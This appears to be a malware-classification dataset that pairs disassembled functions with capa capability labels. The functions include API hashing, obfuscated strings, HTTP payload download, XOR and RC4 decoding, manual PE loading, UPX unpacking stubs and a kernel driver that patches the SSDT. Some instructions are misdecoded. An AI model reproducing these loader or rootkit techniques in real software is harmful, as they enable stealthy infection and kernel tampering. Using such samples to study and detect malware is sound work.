joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10029f4
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfc0
push ebx
mov byte [ebp - 4], 0x47
xor ebx, ebx
push esi
mov byte [ebp - 3], 0x45
push edi
mov byte [ebp - 2], 0x54
mov edi, 0x2fecbec
mov byte [ebp - 1], bl
mov al, byte [ebp - 4]
mov byte [ebp - 5], bl
mov al, byte [ebp - 5]
push 0xceca331
push edi
call fcn.01002e28
pop ecx
pop ecx
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 5]
push ecx
call eax
mov esi, eax
test esi, esi
je 0x1002bd0
push 0xae577c1
push edi
call fcn.01002e28
pop ecx
pop ecx
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp + 0x14]
push dword [ebp + 8]
push esi
call eax
push 0x9e992b1
push edi
mov esi, eax
call fcn.01002e28
pop ecx
pop ecx
push ebx
push 0x4c83100
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
lea ecx, [ebp - 4]
push ecx
push esi
call eax
push 0xa5dbe01
mov esi, 0x2fecbec
mov dword [ebp - 0x14], 4
push esi
mov edi, eax
call fcn.01002e28
pop ecx
pop ecx
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 0xc]
push ecx
push 0x1f
push edi
call eax
test eax, eax
je 0x1002ac9
or dword [ebp - 0xc], 0x2180
lea eax, [ebp - 0xc]
push 4
push eax
push 0x1f
push edi
push 0x7b6d601
push esi
call fcn.01002e28
pop ecx
pop ecx
call eax
push ebx
push ebx
push 0xffffffffffffffff
push dword [ebp + 0x10]
push edi
push 0x92b78b1
push esi
call fcn.01002e28
pop ecx
pop ecx
call eax
push ebx
lea eax, [ebp - 0x18]
mov dword [ebp - 0x10], ebx
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x18], 4
push eax
push 0x20000013
push edi
push 0x26bc401
push esi
call fcn.01002e28
pop ecx
pop ecx
call eax
cmp dword [ebp - 0x10], 0xc8
jne 0x1002bd0
push 0xfa0
mov esi, ebx
call fcn.01002718
and dword [ebp - 4], ebx
lea eax, [ebp - 4]
pop ecx
push eax
push 0xfa0
lea eax, [ebp - 0xfc0]
push eax
push edi
push 0x7e90405
push 0x2fecbec
call fcn.01002e28
pop ecx
pop ecx
call eax
cmp dword [ebp - 4], ebx
je 0x1002bc7
xor eax, eax
add eax, 0xfa0
push eax
mov dword [ebp - 0x20], eax
call fcn.01002718
mov dword [ebp - 0x1c], eax
pop ecx
test esi, esi
je 0x1002b7c
push esi
push ebx
push eax
call fcn.010027de
push 1
push ebx
call fcn.010026e3
mov eax, dword [ebp - 0x1c]
add esp, 0x14
push dword [ebp - 4]
lea ecx, [ebp - 0xfc0]
mov ebx, eax
push ecx
add eax, esi
push eax
call fcn.010027de
add esi, dword [ebp - 4]
lea eax, [ebp - 4]
and dword [ebp - 4], 0
add esp, 0xc
push eax
push 0xfa0
lea eax, [ebp - 0xfc0]
push eax
push edi
push 0x7e90405
push 0x2fecbec
call fcn.01002e28
pop ecx
pop ecx
call eax
cmp dword [ebp - 4], 0
mov eax, dword [ebp - 0x20]
jne 0x1002b50
mov ecx, dword [ebp + 0x18]
mov eax, esi
mov dword [ecx], ebx
jmp 0x1002bd2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1002c28
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push 0x208
lea eax, [ebp - 0x208]
push 0
push eax
call fcn.0100280f
add esp, 0xc
lea eax, [ebp - 0x208]
push 0x104
push eax
push 0
push 0xdfa8b17
push 0xb9f5b9c
call fcn.01002e28
pop ecx
pop ecx
call eax
lea eax, [ebp - 0x208]
push eax
call fcn.01003120
pop ecx
mov cl, byte [ebp - 0x208]
xor cl, 0xcc
sub cl, 0x30
lea edx, [eax + eax]
mov byte [ebp - 0x208], cl
xor ecx, ecx
inc ecx
cmp edx, ecx
jle 0x1002caf
mov al, byte [ebp + ecx - 0x209]
xor al, byte [ebp + ecx - 0x208]
sub al, 0x30
add al, cl
mov byte [ebp + ecx - 0x208], al
inc ecx
cmp ecx, edx
jl 0x1002c91
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push edx
push eax
call fcn.01002bd7
add esp, 0xc
leave
ret

Function at 0x1002cf8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov ecx, 0x10b
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi + 0x3c]
cmp word [eax + esi + 0x18], cx
jne 0x1002d5e
mov edi, dword [eax + esi + 0x78]
mov eax, dword [eax + esi + 0x7c]
add edi, esi
mov dword [ebp - 0xc], eax
mov ebx, dword [edi + 0x20]
mov eax, dword [edi + 0x24]
add ebx, esi
mov ecx, dword [edi + 0x18]
add eax, esi
mov dword [ebp + 8], eax
test ecx, ecx
je 0x1002d5e
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov eax, dword [ebx]
dec ecx
add eax, esi
mov dword [ebp - 8], ecx
push eax
call fcn.01002cc4
pop ecx
cmp dword [ebp - 4], eax
je 0x1002d65
add dword [ebp + 8], 2
add ebx, 4
mov ecx, dword [ebp - 8]
test ecx, ecx
jne 0x1002d3c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
mov eax, dword [edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + esi]
add edx, esi
cmp edx, edi
jbe 0x1002e21
mov eax, dword [ebp - 0xc]
add eax, edi
cmp edx, eax
jae 0x1002e21
xor ebx, ebx
cmp byte [edx], 0x2e
mov ecx, ebx
je 0x1002db1
lea edi, [ebp - 0x4c]
mov esi, edx
sub edi, edx
cmp ecx, 0x3c
jge 0x1002d5e
mov al, byte [esi]
inc ecx
mov byte [edi + esi], al
inc esi
cmp byte [esi], 0x2e
jne 0x1002d9b
cmp ecx, 0x3c
jge 0x1002d5e
lea esi, [edx + 1]
mov dword [ebp + ecx - 0x4c], 0x6c6c642e
add esi, ecx
mov byte [ebp + ecx - 0x48], bl
mov dword [ebp + 8], ebx
cmp byte [esi], 0x23
jne 0x1002de9
inc esi
mov al, byte [esi]
test al, al
je 0x1002de6
imul ecx, ebx, 0xa
movsx ebx, al
add ebx, 0xffffffd0
add ebx, ecx
inc esi
mov al, byte [esi]
test al, al
jne 0x1002dd1
mov dword [ebp + 8], ebx
lea esi, [ebp + 8]
push 0xaadf0f1
mov ebx, 0xb9f5b9c
push ebx
call fcn.01002e28
pop ecx
pop ecx
lea ecx, [ebp - 0x4c]
push ecx
call eax
mov edi, eax
test edi, edi
je 0x1002d5e
push 0xb3c1d03
push ebx
call fcn.01002e28
pop ecx
pop ecx
push esi
push edi
call eax
jmp 0x1002d60
mov eax, edx
jmp 0x1002d60
Function at 0x1002e4b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.01003064
pop ecx
test eax, eax
jne 0x100304c
cmp dword [esi], 0x2fecbec
je 0x1003001
cmp dword [esi], 0x56290ac
je 0x1002fbb
mov edi, 0xb9f5b9c
cmp dword [esi], edi
je 0x1002f03
cmp dword [esi], 0xc068d9c
jne 0x1002f1a
push 0x4b
pop eax
push 0x65
pop ecx
push 0x72
mov word [ebp - 0x38], ax
pop eax
push 0x6e
mov word [ebp - 0x34], ax
pop eax
push 0x6c
mov word [ebp - 0x32], ax
pop eax
push 0x62
pop edx
push 0x61
mov word [ebp - 0x2c], dx
pop edx
push 0x73
mov word [ebp - 0x2a], dx
pop edx
push 0x2e
mov word [ebp - 0x36], cx
mov word [ebp - 0x30], cx
mov word [ebp - 0x26], cx
pop ecx
push 0x64
mov word [ebp - 0x24], cx
pop ecx
mov word [ebp - 0x2e], ax
mov word [ebp - 0x20], ax
mov word [ebp - 0x1e], ax
xor eax, eax
push 0xaadf0c7
push edi
mov word [ebp - 0x28], dx
mov word [ebp - 0x22], cx
mov word [ebp - 0x1c], ax
call fcn.01002e28
pop ecx
pop ecx
lea ecx, [ebp - 0x38]
jmp 0x1003049
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x90f7c8c
push eax
call fcn.01003064
mov edi, eax
pop ecx
test edi, edi
jne 0x1002f21
xor eax, eax
jmp 0x100304c
lea eax, [ebp - 4]
mov dword [ebp - 4], 0xbf460e7
push eax
push edi
mov dword [ebp - 8], 0x352a25c
call fcn.01002cf8
mov esi, eax
lea eax, [ebp - 8]
push eax
push edi
call fcn.01002cf8
add esp, 0x10
mov edi, eax
push 0x4b
pop eax
push 0x65
pop ecx
push 0x72
mov word [ebp - 0x34], ax
pop eax
push 0x6e
mov word [ebp - 0x30], ax
pop eax
push 0x6c
mov word [ebp - 0x2e], ax
pop eax
push 0x33
mov word [ebp - 0x32], cx
mov word [ebp - 0x2c], cx
pop ecx
push 0x32
xor ah, byte [esi - 0x77]
dec ebp
fcomp dword [ecx + 0x6a]
mov word cs:[ebp - 0x2a], ax
mov byte [ebp - 0x17], 0x75
mov byte [ebp - 0x16], 0x73
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x33
mov byte [ebp - 0x12], 0x32
mov byte [ebp - 0x11], 0x2e
push 0x6c
pop eax
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], al
mov byte [ebp - 0xe], al
push 0xaadf0f1
mov byte [ebp - 0xd], 0
mov al, byte [ebp - 0x17]
push 0xb9f5b9c
call fcn.01002e28
pop ecx
pop ecx
lea ecx, [ebp - 0x17]
jmp 0x1003049
mov byte [ebp - 0x18], 0x77
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x6e
mov byte [ebp - 0x15], 0x69
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x2e
push 0x6c
pop eax
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], al
mov byte [ebp - 0xe], al
push 0xaadf0f1
mov byte [ebp - 0xd], 0
mov al, byte [ebp - 0x18]
push 0xb9f5b9c
call fcn.01002e28
pop ecx
pop ecx
lea ecx, [ebp - 0x18]
push ecx
call eax
Function at 0x1003064
Capabilities:
Access peb ldr_data
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
push ebx
push esi
push edi
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x14]
test esi, esi
je 0x10030dc
xor ecx, ecx
mov edi, dword [esi + 0x28]
test edi, edi
je 0x10030dc
movzx eax, word [esi + 0x24]
mov ebx, ecx
jmp 0x10030c7
test eax, eax
je 0x10030cf
movzx ecx, word [edi]
cmp ecx, 0x61
lea eax, [ecx - 0x20]
movzx edx, ax
mov eax, ecx
cmovb edx, eax
shl ebx, 4
movzx eax, dx
add edi, 2
add ebx, eax
mov ecx, ebx
and ecx, 0xf0000000
je 0x10030c1
mov eax, ecx
not ecx
shr eax, 0x18
xor ebx, eax
and ebx, ecx
mov eax, dword [ebp - 4]
dec eax
xor ecx, ecx
mov dword [ebp - 4], eax
cmp word [edi], cx
jne 0x100308c
mov eax, dword [ebp + 8]
cmp ebx, dword [eax]
je 0x10030e3
mov esi, dword [esi]
test esi, esi
jne 0x100307d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [esi + 0x10]
jmp 0x10030de

Function at 0x10039ab
Capabilities:
Encode data using xor

Disassembly:
push 0xdfa8b17
push ebx
call fcn.01002e28
pop ecx
pop ecx
call eax
lea esi, [edi + 0x90]
push esi
call fcn.01003120
pop ecx
lea eax, [eax*2 + 2]
push eax
push esi
lea eax, [ebp - 0x214]
push 0x5c
push eax
call fcn.010031e0
pop ecx
pop ecx
lea ecx, [ebp - 0x212]
lea eax, [ecx + eax*2]
push eax
call fcn.010027de
push 0xad68927
push ebx
call fcn.01002e28
add esp, 0x14
lea ecx, [ebp - 0x214]
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push ebx
push 0x80000000
push ecx
call eax
push dword [edi + 6]
mov dword [ebp - 8], eax
call fcn.01002718
and dword [ebp - 4], ebx
mov esi, eax
pop ecx
push 0xb78cba5
push 0xb9f5b9c
call fcn.01002e28
pop ecx
pop ecx
push 0
lea ecx, [ebp - 4]
push ecx
push dword [edi + 6]
lea ecx, [ebx + esi]
push ecx
push dword [ebp - 8]
call eax
add ebx, dword [ebp - 4]
cmp dword [ebp - 4], 0
jne 0x1003a28
push dword [ebp - 8]
push 0x9ae7db5
push 0xb9f5b9c
call fcn.01002e28
pop ecx
pop ecx
call eax
movzx eax, byte [edi + 4]
shr eax, 3
and eax, 1
sub eax, 1
jne 0x1003a9d
mov ecx, dword [edi + 6]
sub ecx, 1
je 0x1003a9d
mov ebx, dword [ebp - 0xc]
mov eax, ecx
xor edx, edx
div ebx
mov al, byte [edx + edi + 0x190]
add al, byte [ecx + esi - 1]
xor byte [ecx + esi], al
sub ecx, 1
jne 0x1003a84
push esi
call fcn.0100391d
pop ecx
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [edi + 6]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1003e3c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x38], eax
push 0x331717e
mov ebx, 0x90f7c8c
mov dword [ebp - 4], edi
push ebx
mov dword [ebp - 0x34], edi
call fcn.01002e28
pop ecx
pop ecx
push edi
push 0x8000000
push 0x40
lea ecx, [ebp - 0x38]
push ecx
push edi
push 0x2000000
lea ecx, [ebp - 0x10]
push ecx
call eax
mov esi, 0x1f33be
push esi
push ebx
call fcn.01002e28
pop ecx
pop ecx
push 0x40
push edi
push 2
pop ecx
push ecx
lea ecx, [ebp + 0x10]
push ecx
push edi
push edi
push edi
lea ecx, [ebp - 4]
push ecx
push 0xffffffffffffffff
push dword [ebp - 0x10]
call eax
cmp dword [ebp - 4], edi
je 0x1004142
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call fcn.010027de
mov eax, dword [ebp - 4]
push esi
push ebx
mov dword [ebp - 8], eax
call fcn.01002e28
call 0x85003e30
les edx, [edx + ebp*2]
inc eax
push edi
push 2
pop ecx
push ecx
lea ecx, [ebp + 0x10]
push ecx
push edi
push edi
push edi
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 8]
push dword [ebp - 0x10]
call eax
mov ecx, dword [ebp - 4]
mov esi, dword [ebp - 8]
push edi
push edi
mov eax, dword [ecx + 0x3c]
sub esi, ecx
add eax, ecx
push ecx
mov dword [ebp - 0x28], eax
call fcn.01003c24
add esp, 0xc
mov eax, esi
cdq
push 0xc000007b
push 0xc0000018
push edi
push 0xb63014
push edx
push eax
push dword [ebp - 4]
call fcn.01003b3a
push 0x7d01a91
push ebx
call fcn.01002e28
pop ecx
pop ecx
lea ecx, [ebp - 0x30]
push ecx
push 1
push 1
push dword [ebp - 4]
call eax
lea ebx, [eax + 0xc]
jmp 0x1003fc8
cmp dword [ebx - 0xc], edi
je 0x1003fd3
mov edi, dword [ebx]
add edi, dword [ebp - 4]
push edi
call fcn.0100310b
xor ecx, ecx
push 2
pop edx
lea esi, [eax + 1]
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.01002718
pop ecx
pop ecx
push esi
push eax
push esi
push edi
xor edi, edi
mov dword [ebp - 0x1c], eax
push edi
push edi
push 0xbc08782
push 0xb9f5b9c
call fcn.01002e28
pop ecx
pop ecx
call eax
mov esi, dword [ebp - 0x1c]
push esi
push dword [ebp + 8]
call fcn.01003d03
mov dword [ebp - 0x18], eax
pop ecx
pop ecx
test eax, eax
jne 0x1003f39
cmp byte [ebp + 0x20], al
je 0x1004142
push 0xaadf0c7
push 0xb9f5b9c
call fcn.01002e28
pop ecx
pop ecx
push esi
call eax
mov dword [ebp - 0x18], eax
mov ecx, dword [ebx - 0xc]
test ecx, ecx
je 0x1003fcb
mov eax, dword [ebp - 4]
mov edx, dword [ebx + 4]
add edx, eax
mov dword [ebp - 0x14], edx
lea edi, [ecx + eax]
mov ecx, dword [edi]
test ecx, ecx
je 0x1003fc3
mov ebx, edx
mov eax, ecx
shr eax, 0x1f
test al, al
je 0x1003f6b
movzx eax, word [edi]
mov dword [ebp - 0x14], eax
jmp 0x1003f7d
add ecx, dword [ebp - 4]
mov dword [edi], ecx
lea eax, [ecx + 2]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
add eax, ecx
mov dword [edi], eax
push 0xa3beca7
push 0xb9f5b9c
call fcn.01002e28
pop ecx
pop ecx
push esi
call eax
invalid
invalid
invalid
invalid
Function at 0x1004149
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x100421b
add byte [eax], al
push edi
mov edi, dword [ebx + 0x3c]
add edi, ebx
cmp dword [edi], 0x4550
jne 0x100421a
mov eax, 0xe0
cmp word [edi + 0x14], ax
jne 0x100421a
add eax, 0x2b
cmp word [edi + 0x18], ax
jne 0x100421a
mov eax, dword [edi + 0x50]
add eax, dword [edi + 0x34]
mov edx, dword [edi + 0x34]
or eax, 0xfff
push esi
mov esi, dword [ebp + 0x10]
and edx, 0xfffff000
sub eax, edx
inc eax
push 0x3d8cae3
push 0xb9f5b9c
mov dword [esi], eax
call fcn.01002e28
pop ecx
pop ecx
push 0x40
push 0x1000
push dword [esi]
xor ecx, ecx
push ecx
mov dword [ebp + 8], ecx
call eax
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push dword [edi + 0x54]
push ebx
push eax
call fcn.010027de
movzx esi, word [edi + 0x14]
xor eax, eax
add esp, 0xc
add esi, 0x2c
cmp ax, word [edi + 6]
jae 0x1004219
add esi, edi
push dword [esi - 4]
mov eax, dword [esi]
mov ecx, dword [ebp + 0xc]
add eax, ebx
push eax
mov eax, dword [esi - 8]
add eax, dword [ecx]
push eax
call fcn.010027de
mov ecx, dword [ebp + 8]
lea esi, [esi + 0x28]
movzx eax, word [edi + 6]
add esp, 0xc
inc ecx
mov dword [ebp + 8], ecx
cmp ecx, eax
jl 0x10041ee
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret

Function at 0x1004220
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov byte [ebp - 0xa], 0x2f
mov byte [ebp - 9], 0x69
mov byte [ebp - 8], 0x6e
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x61
push ebx
mov byte [ebp - 4], 0x6c
xor ebx, ebx
mov byte [ebp - 3], 0x6c
push esi
mov byte [ebp - 2], 0x2f
push edi
mov byte [ebp - 1], bl
mov al, byte [ebp - 0xa]
push 9
lea eax, [ebp - 0xa]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.010027de
push 0x10
push dword [ebp + 0x10]
lea eax, [ebp - 0x1f]
push eax
call fcn.010027de
mov esi, dword [ebp + 8]
add esp, 0x18
mov edi, dword [ebp + 0xc]
mov byte [ebp - 0xf], bl
lea ebx, [esi + 0x1b0]
movzx eax, word [esi + 0x8e]
lea ecx, [esi + 0xe]
push edi
push eax
push ebx
lea eax, [ebp - 0x28]
push eax
push ecx
call fcn.010029f4
mov edx, eax
add esp, 0x14
test edx, edx
jne 0x10042be
push 0x7530
push 0x5a2bc0
push 0xb9f5b9c
call fcn.01002e28
pop ecx
pop ecx
call eax
jmp 0x1004284
push 0
pop ebx
je fcn.010042d8
mov esi, dword [ebp + 0x10]
mov ecx, dword [edi]
mov eax, ebx
and eax, 0xf
mov al, byte [eax + esi]
xor byte [ecx + ebx], al
inc ebx
cmp ebx, edx
jb 0x10042c6
Function at 0x5e5bb0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.HAOCMP1
lea edi, [esi - 0x142000]
push edi
or ebp, 0xffffffff
jmp 0x5e5bd2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5e5bd9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5e5bc8
mov eax, 1
add ebx, ebx
jne 0x5e5beb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5e5bfc
jne 0x5e5c1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5e5c1b
dec eax
add ebx, ebx
jne 0x5e5c08
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5e5be0
add ebx, ebx
jne 0x5e5c17
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5e5c6d
xor ecx, ecx
sub eax, 3
jb 0x5e5c33
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5e5ca2
sar eax, 1
mov ebp, eax
jmp 0x5e5c3e
add ebx, ebx
jne 0x5e5c3e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5e5c0c
inc ecx
add ebx, ebx
jne 0x5e5c4c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5e5c0c
add ebx, ebx
jne 0x5e5c59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5e5c4e
jne 0x5e5c6a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5e5c4e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5e5c8c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5e5c7e
jmp 0x5e5bce
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5e5c8c
add edi, ecx
jmp 0x5e5bce
pop esi
mov edi, esi
mov ecx, 0x4acd
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5e5caa
cmp byte [edi], 0x11
jne 0x5e5caa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5e5caf
lea edi, [esi + 0x1e2000]
mov eax, dword [edi]
or eax, eax
je 0x5e5d27
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x23bf0c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x23c038]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5e5cdc
mov ecx, edi
jns 0x5e5d0b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x23c03c]
or eax, eax
je 0x5e5d21
mov dword [ebx], eax
add ebx, 4
jmp 0x5e5cf9
call dword [esi + 0x23c044]
mov ebp, dword [esi + 0x23c040]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x24f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5e5d5b
sub esp, 0xffffff80
jmp 0x4396a6
Function at 0x465c10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x3f000]
push edi
or ebp, 0xffffffff
jmp 0x465c32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x465c39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x465c28
mov eax, 1
add ebx, ebx
jne 0x465c4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x465c40
jne 0x465c5c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x465c40
xor ecx, ecx
sub eax, 3
jb 0x465c70
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x465ce2
mov ebp, eax
add ebx, ebx
jne 0x465c7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x465c88
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x465cac
inc ecx
add ebx, ebx
jne 0x465c98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x465c8d
jne 0x465ca9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x465c8d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x465ccc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x465cbd
jmp 0x465c2e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x465ccc
add edi, ecx
jmp 0x465c2e
pop esi
mov edi, esi
mov ecx, 0x1c0a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x465cea
cmp byte [edi], 0xb
jne 0x465cea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x465cef
lea edi, [esi + 0x62000]
mov eax, dword [edi]
or eax, eax
je 0x465d67
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x67188]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x67250]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x465d1c
mov ecx, edi
jns 0x465d4b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x67254]
or eax, eax
je 0x465d61
mov dword [ebx], eax
add ebx, 4
jmp 0x465d39
call dword [esi + 0x67258]
popal
jmp 0x415b67
Function at 0x11308
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x14004]
xor eax, ebp
mov dword [ebp - 4], eax
push eax
mov eax, cr0
and eax, 0xfffeffff
mov cr0, eax
pop eax
lea eax, [ebp - 0x118]
push eax
mov dword [ebp - 0x118], 0x114
call dword [sym.imp.ntoskrnl.exe_RtlGetVersion]
cmp dword [ebp - 0x114], 5
jne 0x11353
cmp dword [ebp - 0x110], 1
je 0x113b5
mov eax, dword [0x14130]
test eax, eax
je 0x1136c
mov ecx, dword [sym.imp.ntoskrnl.exe_KeServiceDescriptorTable]
mov ecx, dword [ecx]
add ecx, 0x454
xchg dword [ecx], eax
mov eax, dword [0x14144]
test eax, eax
je 0x11385
mov ecx, dword [sym.imp.ntoskrnl.exe_KeServiceDescriptorTable]
mov ecx, dword [ecx]
add ecx, 0x63c
xchg dword [ecx], eax
mov eax, dword [0x14158]
test eax, eax
je 0x1139d
mov ecx, dword [0x14100]
mov ecx, dword [ecx + 0x10]
mov dword [ecx + 0x7e8], eax
mov eax, dword [0x14160]
test eax, eax
je 0x113b5
mov ecx, dword [0x14100]
mov ecx, dword [ecx + 0x10]
mov dword [ecx + 0x6e4], eax
push eax
mov eax, cr0
or eax, 0x10000
mov cr0, eax
pop eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00011da0
leave
ret

Function at 0x113d4
Capabilities:
Check os version
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x14004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push eax
mov eax, cr0
and eax, 0xfffeffff
mov cr0, eax
pop eax
lea eax, [ebp - 0x118]
push eax
mov dword [ebp - 0x118], 0x114
call dword [sym.imp.ntoskrnl.exe_RtlGetVersion]
cmp dword [ebp - 0x114], 5
jne 0x11429
cmp dword [ebp - 0x110], 1
je 0x114c1
mov eax, dword [sym.imp.ntoskrnl.exe_NtOpenProcess]
mov dword [0x14020], eax
mov eax, dword [sym.imp.ntoskrnl.exe_NtDuplicateObject]
mov dword [0x140f4], eax
mov eax, dword [ebx + 4]
mov dword [0x1411c], eax
push eax
mov eax, cr0
and eax, 0xfffeffff
mov cr0, eax
pop eax
mov eax, dword [0x14020]
mov esi, eax
mov edi, 0x140a0
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [0x140f4]
mov edi, 0x140aa
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [0x1411c]
mov edi, 0x14032
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea esi, [ebx + 0xc8]
mov edi, eax
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, dword [0x140f4]
lea esi, [ebx + 0xd2]
movsd dword es:[edi], dword [esi]
